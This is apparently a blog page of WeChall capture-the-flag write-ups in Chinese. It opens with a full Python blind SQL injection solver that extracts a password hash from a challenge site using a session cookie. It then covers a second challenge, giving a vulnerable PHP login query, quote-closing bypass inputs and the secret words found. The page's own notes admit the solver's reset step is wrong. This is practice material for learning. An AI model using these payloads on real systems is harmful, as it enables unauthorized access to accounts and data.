14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python3
"""Are you blind? — Error-based blind SQLi solver."""
import requests, re, time, sys

URL = 'https://www.wechall.net/en/challenge/Mawekl/are_you_blind/index.php'
COOKIE = {'WC': '40700784-72047-P62VMhsWxh3elcYN'}
HEADERS = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'}
ALPHABET = '0123456789ABCDEF'

s = requests.Session()
s.headers.update(HEADERS)
s.cookies.update(COOKIE)

def has_error(payload):
"""Return True if condition caused MySQL error (condition was FALSE)."""
data = {'injection': payload, 'inject': 'Inject'}
try:
r = s.post(URL, data=data, timeout=15)
return 'gwf_errors' in r.text
except:
time.sleep(1)
return has_error(payload)

# Reset challenge first
print("[*] Resetting challenge...")
s.get(URL, params={'reset': 'me'})
time.sleep(1)

recovered = ''
for pos in range(1, 33):
lo, hi = 0, len(ALPHABET) - 1
while lo < hi:
mid = (lo + hi) // 2
mid_char = ALPHABET[mid]
# TRUE: password[pos] > mid_char → no error
# FALSE: password[pos] <= mid_char → error
payload = f"' OR IF(SUBSTR(password,{pos},1)>'{mid_char}', 1, (SELECT 1 UNION SELECT 2)) -- "
if has_error(payload):
hi = mid
else:
lo = mid + 1
time.sleep(0.2)
recovered += ALPHABET[lo]
bar = '\u2588' * pos + '\u2591' * (32 - pos)
sys.stdout.write(f'\r[{bar}] {pos}/32 | {recovered}')
sys.stdout.flush()

print(f"\n[+] Recovered: {recovered}")

# Submit
print("[*] Submitting...")
r = s.post(URL, data={'thehash': recovered, 'mybutton': 'Enter'})

if 'correct' in r.text.lower() or 'solved' in r.text.lower():
print("[+] SOLVED!")
elif 'gwf_messages' in r.text:
msgs = re.findall(r'<li>(.*?)</li>', r.text)
for m in msgs:
if m.strip():
print(f" MSG: {m}")
elif 'gwf_errors' in r.text:
errs = re.findall(r'<li>(.*?)</li>', r.text)
for e in errs:
if e.strip():
print(f" ERR: {e}")

if 'more' in r.text.lower() or 'consecutive' in r.text.lower():
print("[i] Need more consecutive rounds — running again...")
success_count = 1
while success_count < 5:
s.get(URL, params={'reset': 'me'})
time.sleep(0.5)
recovered2 = ''
for pos in range(1, 33):
lo2, hi2 = 0, len(ALPHABET) - 1
while lo2 < hi2:
mid2 = (lo2 + hi2) // 2
mid_char2 = ALPHABET[mid2]
payload2 = f"' OR IF(SUBSTR(password,{pos},1)>'{mid_char2}', 1, (SELECT 1 UNION SELECT 2)) -- "
if has_error(payload2):
hi2 = mid2
else:
lo2 = mid2 + 1
time.sleep(0.1)
recovered2 += ALPHABET[lo2]
sys.stdout.write(f'\r Round {success_count+1}: [{pos}/32] {recovered2}')
sys.stdout.flush()
r2 = s.post(URL, data={'thehash': recovered2, 'mybutton': 'Enter'})
if 'solved' in r2.text.lower() or 'congrat' in r2.text.lower():
print(f"\n[+] SOLVED after {success_count+1} rounds!")
recovered = recovered2
break
elif 'correct' in r2.text.lower() or 'more' in r2.text.lower():
success_count += 1
print(f"\n[i] Round {success_count} passed, need more...")
else:
print(f"\n[!] Round {success_count+1} failed")
msgs = re.findall(r'<li>(.*?)</li>', r2.text)
for m in msgs:
if m.strip():
print(f" {m}")
break

print(f"\n[*] Final hash: {recovered}")
print("[*] Check https://www.wechall.net/en/challs for wc_chall_solved_1")

关键注意:

  • 不要手动调用 ?reset=me——会断掉连续成功计数
  • 每成功一次服务器自动生成新 hash 进入下一轮
  • 脚本中 while success_count < 5 里的 s.get(URL, params={'reset': 'me'}) 是错误写法——正确做法是 不 reset,成功提交后服务器自动发新 hash

Challenge

CGX#10 是 Codegeex 系列的 SQL 注入训练挑战,包含两个登录表单(mask1 / mask2),需要分别注入获取 secret word。挑战描述为 "training challenge",属于 Training / Exploit / MySQL 分类。

Solution

Problem #1

源码位于 mask1.code

1
2
3
4
5
6
7
8
$user = $_POST['username'];
$pass = md5($_POST['password']);
$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
$result = mysqli_query($link, $query);
$userdata = mysqli_fetch_assoc($result);
if ($userdata) {
echo "Welcome back, $user, Your first secret word is \"{$solution}\"";
}

单引号字符串拼接,无任何过滤。password 用 MD5 处理但不影响注入——可以在 username 中闭合引号并注释掉 password 检查:

1
2
username = admin' --
password = anything

-- 后必须有空格。登录成功后页面显示第一个 secret word:silverbullet

Problem #2

mask2.code 只有一行有效代码:

1
require 'solution2.php';

源码不可见,但测试发现改用双引号作为字符串定界符:

1
2
username = admin" OR "1"="1" --
password = anything

利用双引号闭合方式绕过。登录后显示第二个 secret word:firestarter

答案

两个 secret word 拼接后提交:

silverbulletfirestarter
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE